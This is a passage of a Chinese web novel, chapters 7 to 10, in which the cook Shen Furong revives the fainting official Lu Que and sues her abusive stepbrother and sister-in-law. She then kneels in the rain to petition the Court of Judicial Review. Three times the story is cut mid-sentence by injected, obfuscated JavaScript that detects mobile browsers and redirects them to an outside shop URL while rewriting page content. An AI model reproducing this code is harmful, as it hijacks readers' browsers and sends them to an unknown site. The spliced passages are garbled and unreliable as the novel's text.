《全汴京在等我的外卖》 7. 第七章 沈芙蕖这厢正讲得口干舌燥，人群突然骚动起来，指着她身后喊道：“陆大人！是陆大人倒下了！” 沈芙蕖猛地转身，定睛一瞧，这不是陆却是谁？惨白着脸，平时没有一丝褶皱的官袍此刻凌乱铺展在冰凉地面上。 沈芙蕖三步并作两步冲上前，蹲下身子仔细查看，陆却的瞳孔已微微放大，素来紧抿的唇失了血色，连呼吸都变得急促浅薄。 “你们大人可有什么旧疾？”沈芙蕖着急呼喊，用手掐了掐他的人中，又试探他的额温，触手处一片湿冷，竟摸到满手冷汗。 “我们大人……”几个杂役支支面面相觑，吾吾答不上话，他们没个一官半职，平日里哪见过顶头上峰，有几回远远见了，也只是看到陆却匆忙走过甩起的衣袖。 “你去请周大人过来！”沈芙蕖指了个手脚麻利的杂役。“还有你，速去街上寻个郎中来！” 沈芙蕖暗自思索，难道陆却有什么隐疾？若是有，那该随身带着防备的药。 情急之下，她也顾不得什么男女大防，双手径直在陆却身上摸索起来，手指摸过官服下紧实的肌理时不由一怔，没想到他看着瘦削苍白，衣衫下竟是这般精壮。 沈芙蕖终于在袖袋里摸到几颗黏糊糊的饴糖，糖纸都已被体温捂得半化。 “莫非是饿昏了头？这人是傻子吧，不知道吃饭吗？”沈芙蕖暗自嘀咕，小心翼翼将他扶起，让他靠在廊柱上，再把他嘴捏开，塞进去半颗饴糖。 陆却的官帽歪斜地滑落，露出他汗湿的额发，沈芙蕖掏出自己的帕子，轻轻拭去他额角的冷汗。 陆却恍惚间感到有人正托着自己的后颈，力道轻柔却坚定。意识如潮水般缓缓回流，眼前的黑翳渐渐散去，取而代之的是一张近在咫尺的姣好面容。 “总算醒了，可吓死我了，大人可是有饥厥的毛病？”沈芙蕖放低声音问道。 陆却喉结滚动，舌尖抵着渐渐化开的糖块。他这才发觉自己半倚在她臂弯里，官袍的前襟都被冷汗浸透了。觉得不妥，想要直起身子，却发觉四肢仍虚软无力，半天才点了一下头回应。 沈芙蕖见他面色渐复，这才松了口气，却仍不敢大意：“大人且慢些起身，这症状来得急，去得却缓。喝些蜂蜜水罢，比单吃糖见效快些。” “哎呦我的大人呐！怎么倒这里了！”周寺正一路小跑过来，他方才正要上茅厕，遇到个急头白脸的毛躁小子，拽着他就往明镜堂走。 “无碍。老毛病了。”陆却缓缓开口。 “快！快！你们几个小兔崽子还愣着干什么，快带大人去用早膳！”周寺正朝着杂役们吹胡子瞪眼。 陆却被搀扶着用早膳去了，周寺正朝着沈芙蕖深深作揖：“多谢娘子救急！实不相瞒，我们大人宵衣旰食，一日三餐从未准时过，长久以往，胃也跟着熬坏了。有两次饿久了，就像今天一样猝然昏冒，所以随身备着饴糖。另外，还请小娘子不要将今日之事告诉其他人。” 原来是低血糖。 “这是自然。”沈芙蕖皱眉欲言又止说：“人是铁，饭是钢。这般糟践身子骨，还办什么案子？周大人，不是我说，大理寺一窝糙汉子，真是——唉！” 谁不说呢！周寺正想，陆大人要是成亲就好了，好歹多个嘘寒问暖的人，一日三餐盯着用饭，绝不会把身体透支成这样！ 周寺正说：“沈娘子，我们膳房是做不出可口的东西，可到了饭点了谁不是劝着，只有大人自己不把身体当回事。啰嗦两句，他还嫌烦，我这差事不好当呐。” 周寺正眼珠一转，突然拍手道：“沈娘子，老周有个不情之请！” 他搓着手，笑得一脸谄媚：“您看……要不您每日抽空给我们大人做顿像样的饭菜？” 见沈芙蕖挑眉，他连忙补充：“自然不能让您白忙活！每日按三百文算，食材都从大理寺公账上走。您的手艺我可是见识过的，若是能让我们大人养成按时用膳的习惯，这简直就是功德无量啊！” 沈芙蕖被他这番唱念做打逗笑了，想到有钱赚，也就应下了：“我答应你便是。” 这下沈芙蕖比之前更忙了，既要考虑陆却的一日三餐，还要忙着布置春宴，往往累得倒头就睡，就是有人在耳旁敲锣打鼓，也叫不醒她。 翌日沈芙蕖又起了个大早做早饭。蒸笼里白气氤氲，小笼汤包的香气最先窜出来，她掀开笼盖，薄如蝉翼的面皮裹着鲜嫩的汤汁，轻轻一晃，里头的馅儿便跟着颤，马上要破皮而出。 这是沈芙蕖精心调制的馅料，用猪皮冻混着蟹粉调的，一咬便爆汁。 旁边的蒸屉里，三个圆滚滚豆沙包挤在一起，面皮雪白松软。红豆沙是昨夜就熬好的，去了红豆皮，口感更好，又特意加了桂花蜜，甜而不腻。 茯苓糕则透着股药香，米粉里掺了茯苓粉，蒸得蓬松，她将糕切成菱形，每块上头嵌一颗枸杞，红白相间，煞是好看。 蒸好面食，紧接着沈芙蕖将发好的面团扯成长条，将油条下了锅，一入热油便膨胀成金黄酥脆的模样，她捞起来沥油，香气直往人鼻子里钻。最后又端了一锅粟粥，上头浮着一层厚厚的米油。 汤包、豆沙包、茯苓糕、油条、粟粥……再配上酱瓜，一顿丰盛的早膳便做好了，沈芙蕖擦了擦汗，周寺正早已等在膳房外伸着脑袋探望。 到了晌午，陆却觉得还不饿，又见周寺正提了个食盒送来，依次摆着蟹粉狮子头、荠菜鱼丸汤、香煎羊排，还有撒着芝麻的胡饼。 “周大人，我何时给你调任膳房了？”陆却盯着胡饼上用芝麻摆成的笑脸，皱眉问道：“这是什么？暗号吗？” “大人，我可一点没有耽误手上的事。这都是沈娘子的一片心意……”周寺正顺势将沈芙蕖如何操办春宴大肆夸赞了一遍。 陆却淡淡一笑，默默把午膳全部吃完了，然后擦着嘴说：“以后不必再送了，专门为我开小灶，成何体统。” 周寺正声音里带着多年未敢吐露的恳切：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099592|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人，我知道您嫌烦，但这些话我不得不说。就算您不重口腹之欲，也要顾及自己的身子，下官跟了您这么多年，实在是看不懂，您眼里除了案子，到底还有什么呢？难道这些案卷，真的就比您的性命重要！” 这话说得极重，也僭越了。 孓然一身，大好年华，把自己活成孤魂野鬼一般。 “我眼里不是只有案子。”他声音很轻，却字字千钧：“我眼里只有真相。” “大人——”周寺正又道：“恕下官多嘴，过去的事情，就让它过去吧！您何必执念至此呢，早日放下，才能早日解脱。” 提着食盒在外等待的沈芙蕖听到这话，僵直了身子，执念？什么执念？她怎么听不明白。 周寺正说着突然跪下，以额触地：“下官僭越，但求大人稍加珍重。谢娘子若在天有灵，也必不愿见大人如此……” 谢娘子？她不是病死的吗？沈芙蕖暗自惊心，莫非这其中还有什么隐情？ 陆却的声音很轻：“你们都道我是为了她着了魔，可只有我自己最清楚，这世间有多少冤魂在等着一个真相？有多少公道被埋没在黄土之下？我陆却所求，不过是想让这朗朗乾坤之下，少一些枉死之人，少一些……像她那样的遗憾。” “周大人，请起罢！我知你是为我好，往后，我好好吃饭就是。” 周寺正似是抹了把鼻涕，喉头哽咽，沈芙蕖则身影一闪消失了。 沈芙蕖匆匆回了膳房，脑子里依然挥不去陆却的那句“我眼里只有真相”。 这世间的真相往往戴着面具，它可能是权贵口中的意外，是县志里轻描淡写的暴毙，是茶余饭后一句想不开。但总有人要揭开这层面具，哪怕要赔上一生清明。 沈芙蕖觉得自己心底某一块地方被触动了。 她靠着木门，长长叹一口气。 “沈娘子！”急促的拍门声惊散了思绪。杂役的喊声带着焦急：“衙外有位程娘子，说是有要紧事找你！” 程虞？沈芙蕖心里一紧。“嗳！我这就来！”沈芙蕖一边答应一边去开门。 阿虞灰头土脸站在大理寺门口，手指抠着寺门石狮子嘴里衔着的球，见沈芙蕖从侧门出来，顾不上寒暄便道：“姐姐！你快回去罢！你那恶毒嫂嫂又找上门了，卖炊饼的张大娘搞不清楚状况，给她指了咱草市坊的住处。” 沈芙蕖安抚地拍拍她肩膀：“莫激动，我来大理寺之前早就将银钱兑成了交子，贴身带着，她翻不到什么值钱的。” 听到沈芙蕖这么说，阿虞松了一口气。但还是气冲冲道：“她不是一人来的！还带了几个地痞流氓。把姐姐屋里的锅碗瓢盆都搬走了！连腌菜的缸子都没放过。我没拦住，还被他们推了一下，你瞧，胳膊都擦破了。” 沈芙蕖撩过她的袖子一瞧，心疼道：“这帮天杀的！阿虞，那些锅碗瓢盆算什么？便是金打的灶台，也不值得你伤着一根头发。记住了吗？” 阿虞似懂非懂点点头。 8. 第八章 沈芙蕖素来待膳房众人极厚，凡有差池皆揽于己身，若得褒奖必推与他人。 隔三差五她还自掏腰包备下藕盒、栗子糕等点心，用油纸包了分与众人。久而久之，膳房上下无不对她心悦诚服，连最桀骜的帮厨见了她也要恭恭敬敬唤一声“沈娘子”。 此刻见沈芙蕖遭此欺辱，那报信的杂役第一个按捺不住，挺着胸膛道：“沈娘子，他们不过仗着人多势众！我这就去唤几个兄弟，定要他们知道马王爷有几只眼！” 另外一个萝卜头说：“我也去！沈娘子，不如趁此机会搬了草市坊的房子吧，破破烂烂的，连我家马厩都不如。” 沈芙蕖弹了一下他的鼻头：“傻孩子，打打杀杀岂是长久之计？这都是治标不治本的法子，我搬去哪，他们都能找出来，难不成我躲在这大理寺一辈子？” “这世间道理，终究要堂堂正正地讲。我现在就去递状子，新仇旧账一起算了！”沈芙蕖义道。 这天，听闻沈芙蕖要告官，大理寺的杂役们撂下活计就跟了出来。草市坊的街坊们更是群情激愤，攥着擀面杖的、抱着账本的，连平日畏畏缩缩的秀才都捧着《刑统》来了。 汴京府规定，审案时老幼可立廊下观案，因此乌泱泱几十号人跟在沈芙蕖后头来了，有看热闹，也有打抱不平的。 汴京府衙位于内城宣德门东侧，专管管民事纠纷。八字墙向两侧延伸，左右各蹲一只獬豸石兽，穿过门洞，迎面一块丈高青石碑，阴刻着太祖御笔：“尔俸尔禄，民膏民脂”。 沈芙蕖望着公堂悬着“明镜高悬”牌匾深呼吸一口气，暗自祈求今天对簿公堂能有个好结果。 阿虞紧张望着葛秀才，她知这恐怕是人群里最有学问的，不自觉朝他靠拢些：“你平日受了沈娘子诸多恩惠，现在来出力啦？你说沈娘子的胜算大吗？” 葛秀才慢吞吞道：“我查过了，《刑统》户婚律里有载，诸强嫁者徒一年半，《杂律》亦云损人宅器者，赎铜偿损。不过……具体还要看沈娘子能拿出多少确凿证据。” “你这个书呆子！咱们这么多人，不都是证据！”阿虞道。 “非也非也。”葛秀才摇头：“办案都讲人证、物证齐全，又不是比人多，比谁嗓门大。” 阿虞抻长了脖子往里看，终于瞧见了沈芙蕖的兄嫂。那继兄生得眉目清秀，举止从容，嫂嫂也是素衣淡妆，安静地站在丈夫身侧，与平日嚣张跋扈的模样判若两人。 门子老孙歪在耳房条凳上剔牙，见沈芙蕖递来的状纸里夹着三十文钱，立刻啐掉牙签：“这小娘子懂事，我这就催府尹升堂！” “咚——”惊堂木重重落下。 “民女沈芙蕖，状告兄嫂三桩大罪！”沈芙蕖的声音清亮如磬：“一逼嫁，为贪彩礼，强许民女予六十老翁为续弦。二霸产，先父所留银钱家产尽入私囊。三行凶，前日纠集恶徒强闯民宅、毁物伤人！” 沈芙蕖的继兄沈玉裁整了整衣襟，不慌不忙地向前一步，朝府尹深深一揖：“大人明鉴，家妹年幼失怙，性情难免偏激。这逼嫁一事，实在是为她终身计。” 他声音温润如玉，眉宇间尽是忧色：“孙公虽年长些，却是正经的皇商，在江南便有米行十二处，家底着实丰厚。小妹若嫁过去，便是当家主母，锦衣玉食，难道不比她现在在膳房烟熏火燎强？” 嫂嫂赵氏适时地掏出帕子拭泪：“我日日为小姑的婚事操心，倒落得这般埋怨……退一万步说，就算她不满意这门亲事，也不能拿剪子戳人家脖子啊，此事闹得沸沸扬扬，孙公既没了面子也没了人，还是我们赔了许多钱，孙公才肯息事宁人。” 府尹摸着胡子，道：“原告怎么说？” 沈芙蕖直视兄嫂，冷笑一声：“兄长口口声声为我终身计，却要将我许给一个年过六旬的老翁？兄嫂也有女儿，怎的不再等上三四年，将她嫁去？” 围观的百姓忿忿不平：“就是啊，你怎么不把自己的姑娘嫁去啊……” 赵氏说：“好，就算你不领情，捅伤了孙公总不是假的吧？” 沈芙蕖“咦”了一声：“我本就不情愿，被你们五花大绑送进洞房，拿把剪子防身有错吗？你们说孙余年并不追究我，难道不是因为心虚的缘故？” “就是就是，今个对簿公堂也没见孙大虫，估计是嫌丢人不敢来，怕一人一口唾沫星子把他淹死……”人群又在窃窃私语。 皂隶摇着铜铃示意大家安静，府尹眼睛瞟向师爷刚递来的纸条，上头写着“孙家与转运使有亲”，摆了摆手说：“沈赵氏，把彩礼钱还了，此事就过去了！” 沈芙蕖一口恶气憋在胸口，难道这血海深仇，就这般轻描淡写地揭过？她抬眼正撞见赵氏嘴角转瞬即逝的得意，随即又摆出副低眉顺眼的模样。 “大人，民女两岁失恃，十岁失怙，家中祖传的田产铺面尽被兄嫂侵占，将我赶出家门，左右邻居都有目共睹。”沈芙蕖道。 阿虞站出来大声说：“民女愿作证！当日亲眼所见，沈娘子被他们打得遍体鳞伤扔出门外，伤口溃烂高烧三日不退，草市坊的几位大夫都曾诊治，皆有脉案可查！” 沈玉裁不慌不忙地整了整衣襟，温声道：“小妹此言差矣。为兄何曾赶你出门？分明是你自己负气离家。昨日为接你回家，还特意让你嫂嫂去草市坊相请。倒是眼前这位小娘子，不仅对你嫂嫂恶语相向，还当街吐唾，怎么到小妹口中，倒成了我们强闯民宅了？” 赵氏拉过沈芙蕖胳膊，面上堆着笑，假意道：“好妹妹，一家人闹到公堂上多伤和气。你兄长这般宽厚，都不与你计较了，今日便随我们回去吧。” 她故作亲昵地拍了拍沈芙蕖的手背：“爹留给你的嫁妆，我们可都好好收着呢，就等着给你置办体面的婚事呢！” 夫妻俩一唱一和，沈玉裁的从容和赵氏的虚情假意，倒显得她沈芙蕖巧言令色、无理取闹。 府尹本就嫌这案子琐碎，既无人命官司，又无钱财纠纷，早已兴致缺缺。他捋了捋胡须，懒洋洋地挥了挥手：“既然都是家事，本官就不多过问了。退堂！” 说罢，府尹又瞅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099593|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几眼沈芙蕖如花似月的面庞，说道：“听闻你离家这段时间在草市坊支摊，你一个小娘子，整日抛头露面的，我看一开始你的心思就不老实……” “你怎么能这么说沈姐姐！”阿虞都替沈芙蕖感到委屈，还好这次没带花婆婆来，不然婆婆非得气病不可。 沈芙蕖早就料到自己可能讨不到好处，可着实没想到这狗官竟敷衍至极，一味避重就轻。 “岂有此理……哪有这样的，这不是睁着眼说瞎话，回去？那不等于羊入虎口？” “糊弄傻子呢，回去了不就任由兄嫂揉圆搓扁了？” 府尹递了一个眼神，皂隶持水火棍戳了说话人的脊背，力道挺重，那人吃痛闷哼一声，顿时噤若寒蝉。堂下众人见状，再不敢多言半句。 “大人且慢。”沈芙蕖说：“就当这是家事，我沈芙蕖从今日起自立门户，与这对豺狼兄嫂恩断义绝，再无瓜葛！民女此番前来，更是要告沈玉裁夫妇与孙余年勾结，私贩朝廷禁运的硇砂。” “一派胡言！”沈玉裁袖子一挥，神色变得阴冷：“大人明鉴，沈芙蕖诬告不成，还想反咬我一口！” 阿虞见形势有变，赶紧向葛秀才求教：“硇砂究竟是何物？” 葛秀才说：“此物别名北庭砂、红霜，乃西域特产。其味咸涩，常用于制作水晶脍。既可冶炼五金，又能鞣制皮革，但是毒性甚烈，若是接触必要戴厚革手套。市价一两值银五两，若走私贩卖，获利可十倍于官价呢！” “什么硇砂不硇砂的？你可知道硇砂是什么？孙余年一个贩米的，怎么和硇砂扯上关系。”府尹离凳的屁股又坐了回去，不耐烦拍案道。 沈芙蕖把一份仵作出的证明递上，缓缓道：“大人容禀，沈宅上月暴毙了一个小厮，名叫阿福，今年刚满十五，专门给沈宅送菜。上月阿福无意间在沈宅膳房内发现了一大袋处理过的硇砂，只当作是普通井盐，便窃取少许回家烹食，结果，除了那因腹泻未进食的老妪，一家五口皆暴毙而亡。” 沈玉裁气道：“说起这个我还觉得晦气呢！准是他们家吃了什么不干净的东西，吃死了人，见我沈家家大业大，想趁机讹诈我们！” “请不要插话！那老妪精明，暗自请了个仵作验尸，这才发现了硇砂的秘密。她不敢声张，便找到了我——” 沈玉裁急忙打断：“大人不觉得奇怪吗？家里死了人，不去报官验尸，找上我家妹子作甚？” 沈芙蕖则似笑非笑：“至于为什么找我，大哥心里还不清楚吗？我也很奇怪呢！因为，那老妪疑心是你害了她一家。” 府尹重重拍下惊堂木，厉声喝道：“既知出了人命，为何不速速报官？” 怎么，千错万错都是她错喽？ 沈芙蕖唇角微扬，眼中闪过一丝讥诮：“报官？” 她轻轻摇头：“若真有用，民女今日也不必站在此处了。”说着从袖中取出一叠文书，她双手平举，作恭敬呈递状：“还请大人依律将此案移交大理寺查办。届时，民女自当将全部证据一一奉上。” 9. 第九章 府尹见状，如获至宝般急欲甩脱这烫手山芋。眼前这女子言辞犀利，条理分明，绝非等闲之辈。 他当即挥毫，在状纸上朱批：“案涉刑狱重事，合送大理寺推勘”，又命人备齐全案卷宗，遣差役押送。 大理寺衙役见沈芙蕖去而复返，手上还持盖有府尹官印的移牒，彼此交换了个意味深长的眼色，忙去请周寺正来。 周寺正代大理寺签押，在受案簿上工整批注：“大兴四年四月初二，收汴京府移沈氏诉沈玉裁硇砂案。” “沈娘子……”一名衙役悄声道：“此案涉人命，需会同刑部签发勘验令，复验死者尸身。这流程少说也要三五日，你耐心等待便是了。” 沈芙蕖福身一礼：“多谢相告，民女等得起。” 周寺正却肃然将她唤至一旁：“沈娘子，果然未成吧？” “周大人似乎早有预料？” “并非是下官。”周寺正摇头：“陆大人听闻你去汴京府投状时便料到此结果，只是......他原以为你会知难而退。” 沈芙蕖轻咬朱唇：“周大人，这世道，女子行事......着实艰难。” “唉，确实如此，你也不容易。此案既入大理寺，必当秉公办理。”周寺正正色道：“只是下官多嘴一句，娘子再是聪慧果敢，遇人命大案还是该先报官才是。” 沈芙蕖又是一番感激。 不敢为此案再耽误时间，沈芙蕖清理脑中杂念回到大理寺操劳，春宴事宜迫在眉睫。八道正菜才定其四，余下菜品尚需尽快敲定。 到了第二天，五更梆子刚敲过，沈芙蕖便撑着酸麻的膝盖爬起来，用冷水洗了脸，清醒后便进了膳房。 膳房的灶台还蒙着烟灰，她舀一瓢井水泼上去，青砖顿时腾起白烟。新摘的荠菜剁得细碎，混着蛋液搅成碧莹莹的面糊，铁鏊子烧得滚热，面糊浇上去，一张薄薄的煎饼便成了型。 沈芙蕖盯着自己的手看了半天，苦笑出来，才短短几个月就这手便再也看不出原来的细腻柔软，只剩一层厚厚的老茧。 她无奈地擦擦汗，在那陶碗里依次放进笋丁、香菇、虾仁，搅拌成馅，又将饺皮擀得能透光，填上馅，捏出十二道褶，排成莲花状，依次码放送进笼屉。 一炷香的时间，笼屉盖掀开，白雾里浮着淡淡茶香。小砂锅里煮着陈年普洱，又倒了些许酱油，沈芙蕖将蛋壳轻轻敲出冰裂纹，又重新放回锅里煮入味。 做完这一切，沈芙蕖已是腰酸背疼，强撑着将泡好的糯米淘了三遍，将莲子、桂圆、红枣放进陶瓮里咕嘟。 陆却从洗漱好后，桌上已经摆好一碟金边微卷的蔬菜煎饼，蒸饺透出虾仁的粉，茶叶蛋飘着香气，粥还是热腾腾的。 他拿起热毛巾擦了擦手，见早膳是刚送来不久，心思一动，连忙开门去追，看见沈芙蕖坐在台阶上，身子倚靠在柱子上，食盒犹在膝上，竟累到睡着了。 周寺正来禀告事务，开头照例是几个重要案子的进展，中途又穿插了些朝堂要事，最后再汇报几句春宴的安排情况，尤是主次分明言简意赅，也一连串讲了半个时辰。 “周大人，喝口茶歇歇。”陆却将笔一撂，随口问道：“沈娘子那边配了多少人手？” 周寺正见上峰好不容易问起春宴，惊讶之余答得飞快：“跑腿杂役三人，膳房六人，传菜六人，布菜十二人。” “人手不够。”陆却淡淡道：“再添十人。” 周寺正暗自腹诽，是不够啊！没瞧见沈娘子每天累得半死不活嘛！而且这事他十日前就禀告过，结果陆大人根本就没听进去，今个怎么良心发现了？ 想起沈芙蕖，周寺正自然想起那桩从汴京府移交过来的状子，已压在陆却这整整两天。 不应该啊，陆却手中从没有过夜的状子，什么时间办，怎么办，哪些人办，这位雷厉风行的陆大人一向都用朱笔批得明明白白，到了沈娘子这，就杳无音讯了？ 周寺正决定替沈芙蕖问问。“大人……前几日汴京府送来的状子……” 陆却写字的手顿了顿，说道：“状子上写有沈玉裁夫妇与漕帮往来的密账，我在物证的账目上并没有看到。我倒要问你，为何没有核实便将接了状子，莫非你与沈娘子私交甚好，便徇私枉法？” 周寺正冷汗直流，连忙跪下，擦着汗道：“绝无可能！下官这就派人去查，许是整理证据的书吏漏放了。” “周大人。”陆却的声音轻轻，却在点他：“别被美色蒙了眼。” 得知此事的沈芙蕖如坠冰窖，那密账是最重要的物证，她怎会扣下不报？莫非在移交过程中有人做了手脚？ 周寺正拍着大腿说：“哎呦沈娘子！这下怎么说的清楚呢！你是不了解我家大人的性子，他见不到密账，是不会让大理寺受理案子的。” 沈芙蕖往后退了三步，脸色已经刷白，“周大人……你相信我……” 周寺正拢拉着眉毛：“我信你没用，得陆大人信啊。你再去找找罢！” 沈芙蕖摇头：“我亲手将密账交给那衙役的，定是给他们昧下瞒报了。周大人，这可如何是好？” “沈娘子，这话万万说不得啊，你没有证据，怎可攀咬官员呢。”周寺正无奈摇头，这可又犯了陆却大忌。 沈芙蕖失魂落魄往住处走去，她还是低估了这个法制不够完善的时代！轻信了那道貌岸然的狗官！ 几滴豆大的雨落了下来，不过短短数秒后，地面像是洇开的水墨画，倾盆大雨如期而至。 沈芙蕖恍惚回到房间，翻出了那本《刑统》，她见上面写着，允许民告官直诉，但需持血状跪三日。 跪就跪，她替可怜的原身跪，枉死的阿福跪，为这天下正义跪。 沈芙蕖立在雨中，任凭冰凉的雨水浸透衣衫。她取出备好的血书，咬破手指，在末尾重重按下指印。 “民女沈芙蕖，”她的声音穿透雨幕，“恳请陆大人明察！”她携血书跪呈陆却，只因大理寺卿可越级受理官员舞弊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099594|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈芙蕖的声音被雨声吹散，但还是若有若无穿进陆却耳里，而他却充耳不闻，一动不动。 周寺正急得像热锅上的蚂蚁，又不敢表露分毫，这早春冷雨最是蚀骨，沈娘子那单薄的身子怎么受得了呢？ “民女有手抄密账，大人不信可以翻阅，但原本定是被京兆府扣下，请大人明鉴！”沈芙蕖的呼喊被骤雨撕扯得支离破碎。 陆却身形如还是青松般纹丝不动，任凭那凄切的声音在雨幕中飘摇。 周寺正掌心沁出的冷汗与雨水混作一处，他焦灼地搓着手指，终究开口道：“大人，雨这么大，不如让她先回去……” 陆却冷冷道：“她既愿跪，便跪着罢。本官这里，不讲情面，只论法理。” 周寺正闻言，脖子不自觉地缩了缩。这瓢泼大雨里，便是铁铸的汉子也受不住，想来那沈娘子跪不了多久就会知难而退。 陆却亦是这般作想。除却每月休沐归府，他素来宿在大理寺值房，子时方歇，寅末即起。 夜渐深沉，檐角雨滴犹自叮咚，陆却搁下批阅完毕的案卷，信步至窗前。竹帘轻挑的刹那，雨幕中那道倔强的身影猝不及防撞入眼帘。 她竟还在跪着。 陆却冷哼一声，放下竹帘，提起油壶给灯盏添油，火苗跳动两下，映得他眉间沟壑更深。随手抽出一卷书册，目光在字里行间游移，却连半句也未读进心里去。 他合上书卷，索性吹熄了灯。黑暗中，雨打屋檐的滴答声愈发清晰，像极了更漏催人。辗转反侧间，锦被被揉皱成一团，人也变得烦躁起来。 起身饮茶，借着稀薄的月光瞥向院中，沈芙蕖已蜷成小小一团。 陆却握着伞骨，雨水顺着伞面滑落，在石阶上溅起水花。他站在檐下，望着雨中沈芙蕖的身影，衣衫早已湿透，发丝黏在苍白的脸颊上，却仍挺直着背脊。 “起来。”他的声音比雨声更冷，却将伞面往她那边倾了倾：“大理寺的台阶，不是给你跪的。” 沈芙蕖抬起头，雨水顺着她的睫毛滚落。她看着眼前那截绯色衣袍的下摆，已经被雨水浸成了深色。 她的声音有些发抖：“多谢大人。” 沈芙蕖咬着牙想站起来，可双腿早已跪得麻木，才支起身子便又软软跌坐回去。 陆却别过脸去不看她，目光却仍如审犯人般锐利：“你与阿福家有何干系？既出了人命，为何不报官，反倒寻到你这里？” 沈芙蕖轻轻摇头：“从前在沈家时，我对下人素来宽厚，赏钱也给得爽利。即便后来被逐出府去，仍有念旧情的。初时在草市坊支摊，阿福他爹就常偷偷给我送炭火，后来生意渐好，我便包了他家全年的炭火钱。” “至于为何不报官……”她苦笑一声：“宫墙高耸，律令森严。寻常百姓目不识丁，既写不得状纸，又不敢踏这朱门。思来想去，唯有寻我这个略通文墨的旧主。” 她抬起湿漉漉的眸子：“民女确有私心，想借此机会，告发那对兄嫂。” 10. 第十章 陆却轻叹一声，声音混在雨夜里显得格外低沉：“我又翻了遍《刑统》和往期的案宗，思来想去，觉得我朝律法还可以再完善些，明日辰时，将你誊抄的账册呈至签押房。” 沈芙蕖心头一颤，这是……不必跪足三日的意思？她眼中泛起湿意，连连叩首：“民女谢大人恩典。” “回吧。”陆却转身，衣袂带起一阵微凉的风：“明日就不必再送早膳了。” 沈芙蕖原身这副身子骨，是娇养惯了的金枝玉叶，经年累月的苛待早已掏空了底子，连日的操劳更是雪上加霜，一场春雨过后，便卧床病倒了。 周寺正急得团团转，春宴迫在眉睫，可看着沈芙蕖烧得通红的面颊，又实在不忍催促。踌躇再三，只得硬着头皮去寻陆却讨个示下。 赶了个大早，远远瞧见几个杂役端了铜盆出去，周寺正便知晓，陆却昨夜又歇在值房。衙役们在廊下候着，听见里面传来窸窸窣窣的穿衣声。 签押房里，陆却已换了绯色官服，正在系玉带，因昨夜伏案太久，右肩有些僵硬，玉扣试了三次才扣上。他随手将看过的案卷堆在左侧，新呈的放在右侧，中间留出一块空地放茶盏。 又到了每日最令人胆战心惊的晨禀时刻。检法案、详断案、表奏案的官吏们鱼贯而入，个个绷紧了神经。陆却从不与他们说半句闲话，开口便是案情。 “城南米铺窃贼可画押了？”他头也不抬地问。 “回大人，犯人翻供说刑讯逼供……” 陆却冷笑：“拿拶痕比对录，若是真用刑，指骨早碎了。不过，他可真是嘴硬，既说逼供，那就做实吧。你们尽管拿出看家的本领，别把人弄死了就是。” 书吏们交换着眼色，没吭声，领了令便出去了。门外，周寺正排在最后面，只听刑部来人商议今年秋决名单，陆却指着其中一案：“张保儿劫粮案，饥民夺粟不足一斛，当流不当斩。要改判，让三司下敕令。” “是，大人明鉴。” 周寺正前面的张贵和李诚紧张得胃疼，扯了扯周寺正的袖子：“周大人，您就给兄弟们透个底，敢问里头那位，今日心情可顺遂？” 周寺正小声说：“我们陆大人何时有过情绪，你们只要别像上次一样，犯那等低级错误，大人是不会发火的。” 张贵唉声叹气：“唉！如今这差事是一天比一天难干了！真想把这官辞了，我见到这铁面判官便发软，周大人，你能在他身边侍奉这么多年，下官真是佩服得五体投地。” 周寺正不敢接这话茬，便转了别的话题：“汴河那案子，怎么兜兜转转这么多天还没结，不是说已有眉目了吗？” 李诚插嘴：“结，结个屁！越查越大！就在昨天，汴河里又捞上来五具尸体，烂得比前几日那批还厉害。您说说，咱这才三四月，尸体怎么能烂得这么快呢？” 周寺正也听说了汴河抛尸案。三月十八，一妇人到汴河边浣洗衣服，见几人趴在岸边喝水，觉得好生奇怪，走近了发觉味道不对劲，恶得作呕，当即就报了官。 经查验，这八具尸体的身份不明，也看不出来生前以何为生。死因都是失血过多，刀口狰狞，唯一的线索就是指甲缝里的泥垢，经过多次比对，发现是三月十五从铜官山运往汴京那批铜矿的漕运封泥。 然而这批铜矿乃是官府采购，手续齐全，记录清清白白，与这些死者八竿子打不着。 李诚便是验尸的仵作，按他多年的经验来看，汴京当下的温度不足以让尸体腐烂成这种程度，所以推测是从南边运来汴河抛尸，可查了码头记录，又对不上时日，再往前查，汴河还结着冰呢！ 此案棘手，又惊动了官家，所以命大理寺迅速查清。张贵和李诚这对难兄难弟，查来查去也没个头绪，所以每每见到陆却都胆怯得不行。 不过这次他俩没挨骂，因为陆大人说，要亲自过问。 二人从签押房里出来时，均有一种自己能力欠佳的无力感，同时又生出一种你行你上的幸灾乐祸感。 